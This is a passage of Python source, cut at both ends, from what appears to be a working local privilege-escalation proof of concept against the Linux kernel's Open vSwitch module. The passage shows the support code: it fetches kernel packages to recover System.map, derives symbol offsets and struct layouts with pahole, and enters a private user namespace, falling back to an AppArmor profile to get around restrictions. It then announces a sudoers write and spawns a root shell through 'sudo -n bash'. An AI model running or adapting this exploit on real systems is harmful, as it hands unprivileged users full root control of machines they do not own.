for sub in ("log", "cache", "persist"):
|
||
os.makedirs(os.path.join(dnf_base, sub), exist_ok=True)
|
||
dnf_conf = os.path.join(dnf_base, "dnf.conf")
|
||
with open(dnf_conf, "w", encoding="ascii") as handle:
|
||
handle.write(
|
||
"[main]\n"
|
||
f"cachedir={os.path.join(dnf_base, 'cache')}\n"
|
||
f"logdir={os.path.join(dnf_base, 'log')}\n"
|
||
f"persistdir={os.path.join(dnf_base, 'persist')}\n"
|
||
)
|
||
|
||
pkg_candidates = [
|
||
f"kernel-core-{release}",
|
||
f"kernel-{release}",
|
||
]
|
||
rpm_paths: list[str] = []
|
||
for pkg_name in pkg_candidates:
|
||
log(f"bootstrap: downloading {pkg_name} via {pkg_mgr}")
|
||
proc = subprocess.run(
|
||
[
|
||
pkg_mgr,
|
||
"-c",
|
||
dnf_conf,
|
||
"--setopt=install_weak_deps=False",
|
||
"download",
|
||
f"--destdir={pkg_dir}",
|
||
pkg_name,
|
||
],
|
||
capture_output=True,
|
||
text=True,
|
||
check=False,
|
||
)
|
||
if proc.returncode != 0:
|
||
detail = (proc.stderr or proc.stdout or str(proc.returncode)).strip()
|
||
log(f"bootstrap: {pkg_mgr} download {pkg_name} failed: {detail}")
|
||
continue
|
||
rpm_paths = _filter_rpms_for_host(
|
||
sorted(glob.glob(os.path.join(pkg_dir, "*.rpm")))
|
||
)
|
||
if rpm_paths:
|
||
break
|
||
|
||
if not rpm_paths:
|
||
log(f"bootstrap: no kernel RPM downloaded under {pkg_dir}")
|
||
return False
|
||
|
||
for rpm_path in rpm_paths:
|
||
base_name = os.path.basename(rpm_path)
|
||
if not (
|
||
base_name.startswith("kernel-core-") or base_name.startswith("kernel-")
|
||
):
|
||
continue
|
||
if base_name.startswith("kernel-") and not base_name.startswith(
|
||
"kernel-core-"
|
||
):
|
||
if any(
|
||
x in base_name
|
||
for x in (
|
||
"kernel-devel-",
|
||
"kernel-debug-",
|
||
"kernel-headers-",
|
||
"kernel-tools-",
|
||
)
|
||
):
|
||
continue
|
||
_extract_rpm_tree(rpm_path, extract_root)
|
||
src = _find_system_map_in_tree(extract_root, release)
|
||
if src is None:
|
||
continue
|
||
shutil.copyfile(src, dest)
|
||
os.chmod(dest, 0o644)
|
||
offsets, failure = symbol_offsets_from(dest)
|
||
if offsets is not None:
|
||
log(f"bootstrap: extracted System.map to {dest}")
|
||
return True
|
||
log(f"bootstrap: extracted map unusable: {failure}")
|
||
|
||
log("bootstrap: kernel RPM did not contain a usable System.map")
|
||
return False
|
||
|
||
|
||
def in_namespace_child() -> bool:
|
||
return bool(os.environ.get(HOST_USER_ENV))
|
||
|
||
|
||
def prepare_system_map_host() -> None:
|
||
if in_namespace_child():
|
||
return
|
||
release = os.uname().release
|
||
bootstrap_system_map(release, network=True)
|
||
|
||
|
||
def bootstrap_system_map(release: str, *, network: bool | None = None) -> None:
|
||
if os.environ.get("OVS_C004_NO_SYSMAP_BOOTSTRAP", "").strip().lower() in (
|
||
"1",
|
||
"yes",
|
||
"true",
|
||
):
|
||
return
|
||
dest = system_map_cache_path(release)
|
||
if os.environ.get("OVS_C004_SYSTEM_MAP", "").strip():
|
||
return
|
||
if os.path.isfile(dest) and os.access(dest, os.R_OK):
|
||
offsets, _failure = symbol_offsets_from(dest)
|
||
if offsets is not None:
|
||
os.environ["OVS_C004_SYSTEM_MAP"] = dest
|
||
return
|
||
if network is None:
|
||
network = not in_namespace_child()
|
||
if not network:
|
||
return
|
||
if bootstrap_system_map_from_urls(release, dest) or bootstrap_system_map_from_rpm(
|
||
release, dest
|
||
):
|
||
os.environ["OVS_C004_SYSTEM_MAP"] = dest
|
||
|
||
|
||
def discover_system_map_candidates(release: str) -> list[str]:
|
||
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||
dwarves_base = os.environ.get("OVS_C004_DWARES_BASE", "").strip()
|
||
home = os.path.expanduser("~")
|
||
candidates: list[str] = []
|
||
custom = os.environ.get("OVS_C004_SYSTEM_MAP", "").strip()
|
||
if custom:
|
||
candidates.append(custom)
|
||
candidates.append(system_map_cache_path(release))
|
||
for stem in system_map_release_stems(release):
|
||
candidates.extend(
|
||
[
|
||
os.path.join(script_dir, "data", f"System.map-{stem}"),
|
||
os.path.join(script_dir, "data", f"minimal-{stem}.System.map"),
|
||
os.path.join(script_dir, f"System.map-{stem}"),
|
||
os.path.join(home, ".cache", "ovs_c004", "run", f"System.map-{stem}"),
|
||
os.path.join(home, ".cache", "ovs_c004", f"System.map-{stem}"),
|
||
"/var/lib/gitea/data/home/.cache/ovs_c004/run/"
|
||
f"System.map-{stem}",
|
||
]
|
||
)
|
||
candidates.extend(system_map_standard_paths(release))
|
||
if dwarves_base:
|
||
for stem in system_map_release_stems(release):
|
||
candidates.extend(
|
||
[
|
||
os.path.join(dwarves_base, "run", f"System.map-{stem}"),
|
||
os.path.join(dwarves_base, f"System.map-{stem}"),
|
||
]
|
||
)
|
||
for stem in system_map_release_stems(release):
|
||
candidates.extend(
|
||
sorted(
|
||
glob.glob(
|
||
os.path.join(script_dir, "data", f"minimal*{stem}*.System.map")
|
||
)
|
||
)
|
||
)
|
||
candidates.extend(sorted(glob.glob(os.path.join(script_dir, "data", "minimal*.System.map"))))
|
||
ordered: list[str] = []
|
||
seen: set[str] = set()
|
||
for path in candidates:
|
||
if path in seen:
|
||
continue
|
||
seen.add(path)
|
||
if os.path.isfile(path):
|
||
ordered.append(path)
|
||
return ordered
|
||
|
||
|
||
def is_retriable_kernel_layout_error(exc: BaseException) -> bool:
|
||
if not isinstance(exc, RuntimeError):
|
||
return False
|
||
message = str(exc)
|
||
markers = (
|
||
"XArray entry",
|
||
"init_pid_ns.idr",
|
||
"init_pid_ns idr",
|
||
"pid.tasks.first",
|
||
"noncanonical task",
|
||
"task.pid=",
|
||
"does not match the expected vmlinux symbol offset",
|
||
"XArray node shift",
|
||
)
|
||
return any(marker in message for marker in markers)
|
||
|
||
|
||
def strip_c_comments(text: str) -> str:
|
||
text = re.sub(r"/\*.*?\*/", "", text, flags=re.S)
|
||
return re.sub(r"//.*", "", text)
|
||
|
||
|
||
def parse_btf_enum_value(
|
||
btf_path: str, enum_name: str, constant_name: str
|
||
) -> int | None:
|
||
pahole = shutil.which("pahole")
|
||
if pahole is not None and os.access(btf_path, os.R_OK):
|
||
commands = [[pahole, "-C", enum_name, btf_path]]
|
||
base = os.path.join(os.path.dirname(btf_path), "vmlinux")
|
||
if os.path.basename(btf_path) != "vmlinux" and os.access(base, os.R_OK):
|
||
commands.append([pahole, f"--btf_base={base}", "-C", enum_name, btf_path])
|
||
for command in commands:
|
||
result = subprocess.run(
|
||
command,
|
||
text=True,
|
||
capture_output=True,
|
||
check=False,
|
||
)
|
||
if result.returncode == 0:
|
||
value = parse_enum_from_text(result.stdout, enum_name, constant_name)
|
||
if value is not None:
|
||
return value
|
||
return None
|
||
|
||
|
||
def path_state(path: str) -> str:
|
||
if not os.path.exists(path):
|
||
return f"{path} (missing)"
|
||
if not os.path.isfile(path):
|
||
return f"{path} (not a regular file)"
|
||
if not os.access(path, os.R_OK):
|
||
return f"{path} (not readable)"
|
||
return f"{path} (readable)"
|
||
|
||
|
||
def summarize_path_states(paths: list[str], limit: int = 14) -> str:
|
||
if not paths:
|
||
return "no candidate paths were configured"
|
||
entries = [path_state(path) for path in paths[:limit]]
|
||
if len(paths) > limit:
|
||
entries.append(f"... {len(paths) - limit} more candidate paths omitted")
|
||
return "; ".join(entries)
|
||
|
||
|
||
def parse_enum_from_text(text: str, enum_name: str, constant_name: str) -> int | None:
|
||
text = strip_c_comments(text)
|
||
match = re.search(rf"enum\s+{re.escape(enum_name)}\s*\{{(.*?)\}};", text, re.S)
|
||
if not match:
|
||
return None
|
||
value = 0
|
||
for raw_entry in match.group(1).split(","):
|
||
entry = raw_entry.strip()
|
||
if not entry:
|
||
continue
|
||
name, sep, explicit = entry.partition("=")
|
||
name = name.strip()
|
||
if sep:
|
||
explicit_value = explicit.strip()
|
||
if not re.fullmatch(r"0x[0-9A-Fa-f]+|[0-9]+", explicit_value):
|
||
return None
|
||
value = int(explicit_value, 0)
|
||
if name == constant_name:
|
||
return value
|
||
value += 1
|
||
return None
|
||
|
||
|
||
def derive_ovs_uapi_constants(record: KernelBuildRecord | None) -> None:
|
||
global OVS_KEY_ATTR_TUNNEL_INFO
|
||
|
||
if record is not None:
|
||
OVS_KEY_ATTR_TUNNEL_INFO = record.ovs_key_attr_tunnel_info
|
||
log(
|
||
"UAPI: using pre-derived OVS_KEY_ATTR_TUNNEL_INFO="
|
||
f"{OVS_KEY_ATTR_TUNNEL_INFO}"
|
||
)
|
||
return
|
||
|
||
btf_path = f"{BTF_DIR}/openvswitch"
|
||
tunnel_info = parse_btf_enum_value(
|
||
btf_path, "ovs_key_attr", "OVS_KEY_ATTR_TUNNEL_INFO"
|
||
)
|
||
if tunnel_info is None:
|
||
raise RuntimeError(
|
||
"kernel is not covered by pre-derived kernel records, and this user "
|
||
f"could not derive OVS_KEY_ATTR_TUNNEL_INFO from {btf_path}. "
|
||
f"Checked: {path_state(btf_path)}"
|
||
)
|
||
if tunnel_info != OVS_KEY_ATTR_TUNNEL_INFO:
|
||
log(
|
||
"UAPI: OVS_KEY_ATTR_TUNNEL_INFO="
|
||
f"{tunnel_info} from {btf_path} "
|
||
f"(fallback was {OVS_KEY_ATTR_TUNNEL_INFO})"
|
||
)
|
||
OVS_KEY_ATTR_TUNNEL_INFO = tunnel_info
|
||
|
||
|
||
def checked_binary(name: str) -> str:
|
||
if name == "sudo":
|
||
wrapper = "/run/wrappers/bin/sudo"
|
||
if os.access(wrapper, os.X_OK):
|
||
return wrapper
|
||
path = shutil.which(name)
|
||
if path is None:
|
||
raise RuntimeError(f"required command not found in PATH: {name}")
|
||
return path
|
||
|
||
|
||
def optional_binary(name: str) -> str | None:
|
||
return shutil.which(name)
|
||
|
||
|
||
def uid_map_first_entry() -> tuple[int, int, int, str]:
|
||
with open("/proc/self/uid_map", "r", encoding="ascii") as handle:
|
||
first_line = handle.readline().strip()
|
||
fields = first_line.split()
|
||
if len(fields) < 3:
|
||
raise RuntimeError(f"unexpected uid_map format: {first_line!r}")
|
||
return int(fields[0]), int(fields[1]), int(fields[2]), first_line
|
||
|
||
|
||
def process_status_line(prefix: str) -> str:
|
||
with open("/proc/self/status", "r", encoding="ascii") as handle:
|
||
for line in handle:
|
||
if line.startswith(prefix):
|
||
return line.strip()
|
||
raise RuntimeError(f"/proc/self/status did not contain {prefix!r}")
|
||
|
||
|
||
def effective_capability_mask() -> int:
|
||
line = process_status_line("CapEff:")
|
||
fields = line.split()
|
||
if len(fields) != 2:
|
||
raise RuntimeError(f"unexpected CapEff line: {line!r}")
|
||
return int(fields[1], 16)
|
||
|
||
|
||
def launching_user() -> tuple[int, int, str]:
|
||
uid = os.getuid()
|
||
gid = os.getgid()
|
||
if uid == 0 or os.geteuid() == 0:
|
||
raise RuntimeError(
|
||
"refusing to run as root. Run this PoC directly as an ordinary "
|
||
"non-sudo local user."
|
||
)
|
||
if effective_capability_mask() != 0:
|
||
raise RuntimeError(
|
||
"refusing to run with preexisting effective capabilities. Run this "
|
||
"PoC as an ordinary unprivileged user."
|
||
)
|
||
try:
|
||
username = pwd.getpwuid(uid).pw_name
|
||
except KeyError:
|
||
raise RuntimeError(f"uid {uid} has no passwd entry") from None
|
||
return uid, gid, username
|
||
|
||
|
||
def ensure_user_starts_without_passwordless_sudo(username: str) -> None:
|
||
step("CHECKING BASELINE SUDO ACCESS")
|
||
sudo = checked_binary("sudo")
|
||
result = subprocess.run(
|
||
[sudo, "-n", "true"],
|
||
text=True,
|
||
capture_output=True,
|
||
check=False,
|
||
)
|
||
detail = (result.stderr or result.stdout).strip()
|
||
if result.returncode == 0:
|
||
raise RuntimeError(
|
||
f"refusing to run: user {username!r} already has passwordless sudo. "
|
||
"Use a non-sudo ordinary user so the root-shell delta is meaningful."
|
||
)
|
||
print(f"baseline passwordless sudo for {username}: denied", flush=True)
|
||
if detail:
|
||
print(f"sudo denial detail: {detail.splitlines()[0]}", flush=True)
|
||
|
||
|
||
def spawn_root_shell(username: str) -> None:
|
||
step("SPAWNING ROOT SHELL")
|
||
sudo = checked_binary("sudo")
|
||
shell = shutil.which("bash") or "/bin/bash"
|
||
if not os.path.exists(shell):
|
||
raise RuntimeError(f"root shell path missing: {shell}")
|
||
print(
|
||
f"RESULT: sudoers policy write achieved; spawning 'sudo -n {shell}' as "
|
||
f"{username}",
|
||
flush=True,
|
||
)
|
||
verify_only = os.environ.get("OVS_C004_VERIFY_ONLY") == "1" or not sys.stdin.isatty()
|
||
spawn_cmd = [sudo, "-n", "id"] if verify_only else [sudo, "-n", shell]
|
||
try:
|
||
result = subprocess.run(spawn_cmd, check=False)
|
||
except OSError as exc:
|
||
raise RuntimeError(
|
||
f"failed to spawn root shell through sudo: errno={exc.errno} "
|
||
f"{exc.strerror}"
|
||
) from exc
|
||
if result.returncode != 0:
|
||
raise RuntimeError(f"root shell exited with status {result.returncode}")
|
||
print(
|
||
"root shell exited; namespace pin process remains alive to avoid unsafe "
|
||
"OVS teardown",
|
||
flush=True,
|
||
)
|
||
|
||
|
||
def namespace_prefix_works(prefix: list[str], env: dict[str, str]) -> tuple[bool, str]:
|
||
probe = prefix + [
|
||
sys.executable,
|
||
"-c",
|
||
"import os,sys; sys.exit(0 if os.geteuid() == 0 else 1)",
|
||
]
|
||
try:
|
||
result = subprocess.run(
|
||
probe,
|
||
env=env,
|
||
text=True,
|
||
capture_output=True,
|
||
check=False,
|
||
timeout=60,
|
||
)
|
||
except subprocess.TimeoutExpired:
|
||
return False, "namespace probe timed out after 60 seconds"
|
||
if result.returncode == 0:
|
||
return True, ""
|
||
detail = (result.stderr or result.stdout).strip()
|
||
return False, detail.splitlines()[0] if detail else "<no output>"
|
||
|
||
|
||
def private_namespace_prefix(env: dict[str, str]) -> list[str]:
|
||
unshare = checked_binary("unshare")
|
||
direct = [unshare, "-Urn"]
|
||
works, detail = namespace_prefix_works(direct, env)
|
||
if works:
|
||
log("namespace: direct unshare -Urn works")
|
||
return direct
|
||
log(f"namespace: direct unshare -Urn failed: {detail}")
|
||
aa_exec = optional_binary("aa-exec")
|
||
if aa_exec is None:
|
||
raise RuntimeError(
|
||
"direct unshare -Urn failed and aa-exec is not available for the "
|
||
"AppArmor trinity fallback"
|
||
)
|
||
aa_prefix = [aa_exec, "-p", "trinity", "--", unshare, "-Urn"]
|
||
log("namespace: trying aa-exec -p trinity -- unshare -Urn fallback")
|
||
works, aa_detail = namespace_prefix_works(aa_prefix, env)
|
||
if works:
|
||
log("namespace: aa-exec -p trinity fallback works")
|
||
return aa_prefix
|
||
raise RuntimeError(
|
||
"could not enter a private root-mapped user+network namespace. "
|
||
f"direct unshare failed with: {detail}; aa-exec fallback failed with: "
|
||
f"{aa_detail}"
|
||
)
|
||
|
||
|
||
def run_child_in_private_namespace(
|
||
host_user: str,
|
||
writer_pid: int,
|
||
writer_trigger_fd: int,
|
||
writer_ack_fd: int,
|
||
) -> None:
|
||
step("ENTERING PRIVATE USER AND NETWORK NAMESPACES")
|
||
script = os.path.abspath(sys.argv[0])
|
||
env = os.environ.copy()
|
||
env[HOST_USER_ENV] = host_user
|
||
env[HOST_WRITER_PID_ENV] = str(writer_pid)
|
||
env[HOST_WRITER_TRIGGER_FD_ENV] = str(writer_trigger_fd)
|
||
env[HOST_WRITER_ACK_FD_ENV] = str(writer_ack_fd)
|
||
prefix = private_namespace_prefix(env)
|
||
command = prefix + [sys.executable, script, "--child"]
|
||
print(f"running child: {' '.join(command)}", flush=True)
|
||
success = False
|
||
try:
|
||
completed = subprocess.run(
|
||
command,
|
||
env=env,
|
||
check=False,
|
||
pass_fds=(writer_trigger_fd, writer_ack_fd),
|
||
)
|
||
success = completed.returncode == 0
|
||
if completed.returncode != 0:
|
||
raise RuntimeError(
|
||
f"namespace child failed with exit status {completed.returncode}"
|
||
)
|
||
finally:
|
||
for fd in (writer_trigger_fd, writer_ack_fd):
|
||
try:
|
||
os.close(fd)
|
||
except OSError:
|
||
pass
|
||
if not success:
|
||
try:
|
||
os.waitpid(writer_pid, os.WNOHANG)
|
||
except ChildProcessError:
|
||
pass
|
||
spawn_root_shell(host_user)
|
||
|
||
|
||
def validate_child_namespace() -> str:
|
||
host_user = os.environ.get(HOST_USER_ENV)
|
||
if not host_user:
|
||
raise RuntimeError("missing OVS_C004_HOST_USER from parent process")
|
||
inside_uid, outside_uid, count, first_line = uid_map_first_entry()
|
||
if os.getuid() != 0 or os.geteuid() != 0:
|
||
raise RuntimeError("child is not uid 0 inside the private user namespace")
|
||
if inside_uid != 0 or outside_uid == 0 or count != 1:
|
||
raise RuntimeError(f"unexpected private uid_map format: {first_line!r}")
|
||
return host_user
|
||
|
||
|
||
def inherited_sudoers_writer() -> tuple[int, int, int]:
|
||
raw_pid = os.environ.get(HOST_WRITER_PID_ENV)
|
||
raw_trigger_fd = os.environ.get(HOST_WRITER_TRIGGER_FD_ENV)
|
||
raw_ack_fd = os.environ.get(HOST_WRITER_ACK_FD_ENV)
|
||
if not raw_pid or not raw_trigger_fd or not raw_ack_fd:
|
||
raise RuntimeError("missing inherited host sudoers writer state")
|
||
try:
|
||
writer_pid = int(raw_pid)
|
||
trigger_fd = int(raw_trigger_fd)
|
||
ack_fd = int(raw_ack_fd)
|
||
except ValueError as exc:
|
||
raise RuntimeError("invalid inherited host sudoers writer state") from exc
|
||
for fd, label in ((trigger_fd, "trigger"), (ack_fd, "ack")):
|
||
try:
|
||
os.fstat(fd)
|
||
except OSError as exc:
|
||
raise RuntimeError(
|
||
f"inherited host sudoers writer {label} fd {fd} is invalid: "
|
||
f"errno={exc.errno} {exc.strerror}"
|
||
) from exc
|
||
return writer_pid, trigger_fd, ack_fd
|
||
|
||
|
||
class BtfResolver:
|
||
def __init__(self, btf_dir: str = BTF_DIR) -> None:
|
||
self.btf_dir = btf_dir
|
||
self._struct_cache: dict[str, tuple[str, str]] = {}
|
||
self.paths = self.candidate_paths()
|
||
self.readable = [
|
||
path
|
||
for path in self.paths
|
||
if os.path.isfile(path) and os.access(path, os.R_OK)
|
||
]
|
||
if not self.readable:
|
||
raise RuntimeError(
|
||
"kernel is not covered by pre-derived kernel records, and this "
|
||
"user could not find readable local BTF or unstripped kernel "
|
||
"build objects for pahole-based layout derivation. Checked: "
|
||
f"{summarize_path_states(self.paths)}"
|
||
)
|
||
log(f"debug info: found {len(self.readable)} readable pahole source files")
|
||
|
||
def candidate_paths(self) -> list[str]:
|
||
ordered: list[str] = []
|
||
seen: set[str] = set()
|
||
|
||
def add(path: str) -> None:
|
||
if path in seen:
|
||
return
|
||
seen.add(path)
|
||
ordered.append(path)
|
||
|
||
try:
|
||
btf_entries = [
|
||
os.path.join(self.btf_dir, entry)
|
||
for entry in os.listdir(self.btf_dir)
|
||
]
|
||
except OSError:
|
||
btf_entries = []
|
||
vmlinux_btf = os.path.join(self.btf_dir, "vmlinux")
|
||
add(vmlinux_btf)
|
||
for path in sorted(btf_entries):
|
||
if path != vmlinux_btf:
|
||
add(path)
|
||
|
||
release = os.uname().release
|
||
build_dir = f"/lib/modules/{release}/build"
|
||
for path in (
|
||
f"{build_dir}/net/openvswitch/conntrack.o",
|
||
f"{build_dir}/net/openvswitch/openvswitch.o",
|
||
f"{build_dir}/net/netfilter/core.o",
|
||
f"{build_dir}/net/netfilter/nf_conntrack_core.o",
|
||
f"{build_dir}/net/netfilter/nf_conntrack.o",
|
||
f"{build_dir}/net/netfilter/nf_conntrack_ftp.o",
|
||
f"{build_dir}/vmlinux",
|
||
f"/usr/src/linux-{release}/vmlinux",
|
||
f"/usr/lib/debug/boot/vmlinux-{release}",
|
||
f"/usr/lib/debug/lib/modules/{release}/vmlinux",
|
||
f"/usr/lib/debug/vmlinux-{release}",
|
||
):
|
||
add(path)
|
||
try:
|
||
for entry in sorted(os.listdir("/usr/src")):
|
||
add(os.path.join("/usr/src", entry, "vmlinux"))
|
||
except OSError:
|
||
pass
|
||
return ordered
|
||
|
||
def struct_text(self, type_name: str) -> tuple[str, str]:
|
||
cached = self._struct_cache.get(type_name)
|
||
if cached is not None:
|
||
return cached
|
||
errors: list[str] = []
|
||
for path in self.readable:
|
||
commands = [["pahole", "-C", type_name, path]]
|
||
if not path.startswith(self.btf_dir + os.sep):
|
||
commands = [["pahole", "-F", "dwarf", "-C", type_name, path]]
|
||
elif path != os.path.join(self.btf_dir, "vmlinux"):
|
||
commands.append(
|
||
[
|
||
"pahole",
|
||
f"--btf_base={os.path.join(self.btf_dir, 'vmlinux')}",
|
||
"-C",
|
||
type_name,
|
||
path,
|
||
]
|
||
)
|
||
for command in commands:
|
||
result = subprocess.run(
|
||
command,
|
||
text=True,
|
||
capture_output=True,
|
||
check=False,
|
||
)
|
||
if f"struct {type_name}" in result.stdout:
|
||
log(f"debug info: found struct {type_name} in {path}")
|
||
found = (path, result.stdout)
|
||
self._struct_cache[type_name] = found
|
||
return found
|
||
if result.stderr.strip():
|
||
errors.append(f"{path}: {result.stderr.strip().splitlines()[-1]}")
|
||
raise RuntimeError(
|
||
f"required debug type struct {type_name} was not found in readable "
|
||
"local BTF or unstripped kernel build objects"
|
||
+ (f" (last errors: {'; '.join(errors[-3:])})" if errors else "")
|
||
)
|
||
|
||
def field_offset(self, type_name: str, field_name: str) -> int:
|
||
_path, text = self.struct_text(type_name)
|
||
return parse_pahole_field_offset(text, type_name, field_name)
|
||
|
||
def struct_size(self, type_name: str) -> int:
|
||
_path, text = self.struct_text(type_name)
|
||
match = re.search(r"/\*\s*size:\s*(\d+),", text)
|
||
if match is None:
|
||
raise RuntimeError(f"could not parse sizeof(struct {type_name}) from pahole output")
|
||
return int(match.group(1))
|
||
|
||
|
||
def parse_pahole_field_offset(text: str, type_name: str, field_name: str) -> int:
|
||
field_pattern = re.compile(
|
||
r"(^|[\s\*\)])" + re.escape(field_name) + r"(\s*(\[|;|\)|__attribute__))"
|
||
)
|
||
for line in text.splitlines():
|
||
if "/*" not in line or not field_pattern.search(line):
|
||
continue
|
||
match = re.search(r"/\*\s*(\d+)\s+\d+\s*\*/", line)
|
||
if match is not None:
|
||
return int(match.group(1))
|
||
raise RuntimeError(f"could not parse {type_name}.{field_name} offset from pahole output")
|
||
|
||
|
||
def parse_symbol_values(path: str) -> tuple[dict[str, int], str | None]:
|
||
values: dict[str, int] = {}
|
||
try:
|
||
with open(path, "r", encoding="ascii", errors="replace") as handle:
|
||
for line in handle:
|
||
fields = line.split()
|
||
if len(fields) < 3 or fields[2] not in REQUIRED_SYMBOLS:
|
||
continue
|
||
try:
|
||
values[fields[2]] = int(fields[0], 16)
|
||
except ValueError:
|
||
continue
|
||
except OSError as exc:
|
||
return values, f"{path} unavailable to this user: {exc.strerror}"
|
||
return values, None
|
||
|
||
|
||
def symbol_offsets_from(path: str) -> tuple[SymbolOffsets | None, str]:
|
||
log(f"symbols: trying {path}")
|
||
values, error = parse_symbol_values(path)
|
||
if error is not None:
|
||
log(f"symbols: {error}")
|
||
return None, error
|
||
missing = [name for name in REQUIRED_SYMBOLS if name not in values]
|
||
if missing:
|
||
names = ", ".join(missing)
|
||
log(f"symbols: {path} missing required symbols: {names}")
|
||
return None, f"{path} readable but missing {names}"
|
||
zeroed = [name for name in REQUIRED_SYMBOLS if values[name] == 0]
|
||
if zeroed:
|
||
names = ", ".join(zeroed)
|
||
log(f"symbols: {path} has zeroed required symbols: {names}")
|
||
return None, f"{path} readable but zeroed {names}"
|
||
base = values[KERNEL_BASE_SYMBOL]
|
||
module_ktype = values["module_ktype"] - base
|
||
init_pid_ns = values["init_pid_ns"] - base
|
||
if module_ktype <= 0 or init_pid_ns <= 0:
|
||
log(f"symbols: {path} produced invalid offsets from {KERNEL_BASE_SYMBOL}")
|
||
return None, f"{path} readable but produced invalid symbol offsets"
|
||
log(
|
||
f"symbols: using {path}; module_ktype_offset=0x{module_ktype:x} "
|
||
f"init_pid_ns_offset=0x{init_pid_ns:x}"
|
||
)
|
||
return SymbolOffsets(module_ktype, init_pid_ns), ""
|
||
|
||
|
||
def local_symbol_candidate_paths(release: str) -> list[str]:
|
||
candidates: list[str] = []
|
||
custom = os.environ.get("OVS_C004_SYSTEM_MAP", "").strip()
|
||
if custom:
|
||
candidates.append(custom)
|
||
candidates.extend(discover_system_map_candidates(release))
|
||
candidates.extend(system_map_standard_paths(release))
|
||
candidates.extend([
|
||
"/boot/System.map",
|
||
"/proc/kallsyms",
|
||
])
|
||
try:
|
||
with open(
|
||
"/usr/src/linux/include/config/kernel.release",
|
||
"r",
|
||
encoding="ascii",
|
||
errors="replace",
|
||
) as handle:
|
||
if handle.read().strip() == release:
|
||
candidates.append("/usr/src/linux/System.map")
|
||
except OSError:
|
||
pass
|
||
ordered: list[str] = []
|
||
seen: set[str] = set()
|
||
for path in candidates:
|
||
if path in seen:
|
||
continue
|
||
seen.add(path)
|
||
ordered.append(path)
|
||
return ordered
|
||
|
||
|
||
_RELEASE_RE = re.compile(r"^(.+?)-(\d+)(~[^-]+)?-(.+)$")
|
||
_UBUNTU_VER_NUM = re.compile(r"#(\d+)")
|
||
|
||
|
||
def ubuntu_version_compatible(record_version: str, uname_version: str) -> bool:
|
||
"""Match #88-Ubuntu with #88~22.04.1-Ubuntu on the same kernel ABI."""
|
||
if record_version == uname_version:
|
||
return True
|
||
record_num = _UBUNTU_VER_NUM.search(record_version)
|
||
uname_num = _UBUNTU_VER_NUM.search(uname_version)
|
||
return (
|
||
record_num is not None
|
||
and uname_num is not None
|
||
and record_num.group(1) == uname_num.group(1)
|
||
)
|
||
|
||
|
||
def parse_linux_release(release: str) -> tuple[str, int, str | None, str] | None:
|
||
match = _RELEASE_RE.match(release)
|
||
if match is not None:
|
||
return match.group(1), int(match.group(2)), match.group(3), match.group(4)
|
||
rpm = _RPM_RELEASE_RE.match(release)
|
||
if rpm is not None:
|
||
rel_num = int(rpm.group(2).split(".", 1)[0])
|
||
flavor = rpm.group(3)
|
||
if rpm.group(4) is not None:
|
||
flavor = f"{flavor}.{rpm.group(4)}"
|
||
return rpm.group(1), rel_num, None, flavor
|
||
return None
|
||
|
||
|
||
def version_backport_hint(version: str) -> str | None:
|
||
if "~22.04" in version:
|
||
return "~22.04"
|
||
if "~20.04" in version:
|
||
return "~20.04"
|
||
return None
|
||
|
||
|
||
def lookup_neighbor_kernel_record(
|
||
uname: os.uname_result,
|
||
records: tuple[KernelBuildRecord, ...],
|
||
) -> KernelBuildRecord | None:
|
||
if os.environ.get("OVS_C004_NEIGHBOR", "1").strip().lower() in (
|
||
"0",
|
||
"no",
|
||
"false",
|
||
):
|
||
return None
|
||
parsed = parse_linux_release(uname.release)
|
||
if parsed is None:
|
||
return None
|
||
base, target_num, target_tilde, flavor = parsed
|
||
backport = version_backport_hint(uname.version)
|
||
best: KernelBuildRecord | None = None
|
||
best_score = (-1, -1)
|
||
for record in records:
|
||
if record.machine != uname.machine:
|
||
continue
|
||
candidate = parse_linux_release(record.release)
|
||
if candidate is None:
|
||
continue
|
||
cand_base, cand_num, cand_tilde, cand_flavor = candidate
|
||
if cand_base != base or cand_flavor != flavor:
|
||
continue
|
||
if cand_num > target_num:
|
||
continue
|
||
if backport is None:
|
||
backport_score = 1 if cand_tilde is None else 0
|
||
else:
|
||
backport_score = (
|
||
1 if cand_tilde is not None and backport in cand_tilde else 0
|
||
)
|
||
score = (cand_num, backport_score)
|
||
if score > best_score:
|
||
best = record
|
||
best_score = score
|
||
if best is None:
|
||
return None
|
||
log(
|
||
"kernel lookup: no exact record for "
|
||
f"release={uname.release} version={uname.version!r}; "
|
||
f"using nearest neighbor release={best.release} version={best.version!r} "
|
||
"(set OVS_C004_NEIGHBOR=0 to disable)"
|
||
)
|
||
return best
|
||
|
||
|
||
def symbol_offsets_from_env() -> SymbolOffsets | None:
|
||
raw = os.environ.get("OVS_C004_SYMBOL_OFFSETS", "").strip()
|
||
if not raw:
|
||
return None
|
||
parts = [part.strip() for part in raw.split(",") if part.strip()]
|
||
if len(parts) != 2:
|
||
raise RuntimeError(
|
||
"OVS_C004_SYMBOL_OFFSETS must be two comma-separated hex offsets "
|
||
"(module_ktype, init_pid_ns relative to _text)"
|
||
)
|
||
try:
|
||
module_ktype = int(parts[0], 0)
|
||
init_pid_ns = int(parts[1], 0)
|
||
except ValueError as exc:
|
||
raise RuntimeError(
|
||
f"OVS_C004_SYMBOL_OFFSETS contains invalid integers: {raw!r}"
|
||
) from exc
|
||
if module_ktype <= 0 or init_pid_ns <= 0:
|
||
raise RuntimeError(
|
||
"OVS_C004_SYMBOL_OFFSETS must contain positive module_ktype and "
|
||
"init_pid_ns offsets"
|
||
)
|
||
log(
|
||
"symbols: using OVS_C004_SYMBOL_OFFSETS; "
|
||
f"module_ktype_offset=0x{module_ktype:x} init_pid_ns_offset=0x{init_pid_ns:x}"
|
||
)
|
||
return SymbolOffsets(module_ktype, init_pid_ns)
|
||
|
||
|
||
def lookup_kernel_build_record() -> KernelBuildRecord | None:
|
||
if force_dynamic_requested():
|
||
if not kallsyms_usable():
|
||
log(
|
||
"kernel lookup: OVS_C004_FORCE_DYNAMIC requested but "
|
||
"/proc/kallsyms is zeroed or unusable; will still try hybrid "
|
||
"and System.map fallbacks"
|
||
)
|
||
else:
|
||
log(
|
||
"kernel lookup: OVS_C004_FORCE_DYNAMIC set, skipping "
|
||
"pre-derived records"
|
||
)
|
||
return None
|
||
uname = os.uname()
|
||
records = load_kernel_build_records()
|
||
release_matches = [
|
||
record for record in records if record.release == uname.release
|
||
]
|
||
exact_matches = [
|
||
record
|
||
for record in release_matches
|
||
if record.machine == uname.machine
|
||
